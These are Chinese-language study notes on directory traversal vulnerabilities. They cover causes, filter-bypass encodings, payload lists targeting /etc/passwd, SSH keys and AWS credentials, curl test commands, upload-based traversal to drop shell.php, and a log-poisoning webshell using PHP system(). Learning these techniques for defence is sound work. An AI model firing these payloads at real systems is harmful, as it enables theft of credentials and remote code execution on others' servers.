目录遍历漏洞学习
目录遍历漏洞,又称路径遍历漏洞,是Web安全领域中最常见的高危漏洞之一。攻击者利用此漏洞可以访问应用程序预期目录之外的文件和目录,导致敏感数据泄露甚至系统完全沦陷。
核心机制
危害类型 | 影响程度 | 示例 |
---|---|---|
敏感数据泄露 | ⭐⭐⭐⭐⭐ | 配置文件、数据库凭证 |
系统文件读取 | ⭐⭐⭐⭐ | /etc/passwd、注册表 |
源代码泄露 | ⭐⭐⭐⭐ | .git、.env 文件 |
任意文件写入 | ⭐⭐⭐⭐⭐ | Webshell上传 |
权限提升 | ⭐⭐⭐⭐⭐ | 读取SSH密钥 |
根本原因
// 典型漏洞代码示例
$file = $_GET['file'];
readfile("/var/www/uploads/" . $file);
攻击者输入:../../etc/passwd
实际访问路径:/var/www/uploads/../../etc/passwd = /etc/passwd
常见错误模式
-
未过滤用户输入:直接拼接路径
-
过滤不充分:仅检查部分关键词
-
编码处理缺陷:未规范化解码
-
权限配置不当:Web服务器权限过高
攻击
基础攻击手法
GET /download?file=../../../../etc/passwd HTTP/1.1
Host: vulnerable.com
高级绕过技术
过滤机制 | 绕过方式 | 示例 |
---|---|---|
基础过滤 | URL编码 | ..%2f..%2fetc%2fpasswd |
关键词检测 | 双重编码 | %252e%252e%252fetc%252fpasswd |
路径截断 | 空字节 | ../../../etc/passwd%00.jpg |
特殊字符 | 超长路径 | ....//....//etc/passwd |
扩展名限制 | 伪协议 | php://filter/convert.base64-encode/resource=config.php |
操作系统特定Payload
Linux/Unix
/etc/passwd
/proc/self/environ
~/.ssh/id_rsa
/var/log/auth.log
Windows
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
..\..\..\Windows\repair\SAM
手动检测
# 基础检测
curl http://site.com?file=../../../../etc/passwd# 编码绕过检测
curl http://site.com?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd# 空字节测试
curl http://site.com?file=../../../etc/passwd%00.png
自动化工具
工具 | 类型 | 特点 |
---|---|---|
Burp Suite | 专业工具 | Intruder模块+自定义字典 |
OWASP ZAP | 开源扫描器 | 自动路径遍历检测 |
ffuf | 命令行工具 | 快速模糊测试 |
DotDotPwn | 专用扫描器 | 多协议支持 |
字典示例
../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
....//....//etc/passwd
%C0%AE%C0%AE%2F (UTF-8编码)
案例
Apache HTTP Server (CVE-2021-41773)
Apahce HTTPd 2.4.49(CVE-2021-41773)漏洞复现详细教程_apatch cve-2021-41773 修复-CSDN博客https://blog.csdn.net/weixin_40412037/article/details/120777496CVE-2021-41773 Apache HTTP Server 路径穿越漏洞复现 - FreeBuf网络安全行业门户
https://www.freebuf.com/articles/web/293172.html
WordPress插件漏洞
WordPress LayerSlider 插件存在SQL注入漏洞-CVE-2024-2879分析-先知社区https://xz.aliyun.com/news/14161高危WordPress插件漏洞威胁超1万个网站安全 - FreeBuf网络安全行业门户
https://www.freebuf.com/articles/web/431480.htmlWordPress插件SQL注入漏洞——漏洞复现_wordpress sql注入复现-CSDN博客
https://blog.csdn.net/weixin_40412037/article/details/110087518
高级利用技巧
结合文件上传
POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="../../public_html/shell.php"
日志文件注入
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
...
# 通过遍历读取日志执行代码
GET /view?file=../../logs/access.log&cmd=id
环境文件泄露
/proc/self/environ # 包含环境变量
~/.bash_history # 历史命令
~/.aws/credentials # AWS凭证
其他
目录遍历漏洞详解-CSDN博客https://blog.csdn.net/weixin_39190897/article/details/103589535WEB漏洞|目录浏览(目录遍历)漏洞和任意文件读取/下载漏洞-腾讯云开发者社区-腾讯云
https://cloud.tencent.com/developer/article/1933531从0到1完全掌握目录遍历漏洞 - FreeBuf网络安全行业门户
https://www.freebuf.com/articles/web/326213.html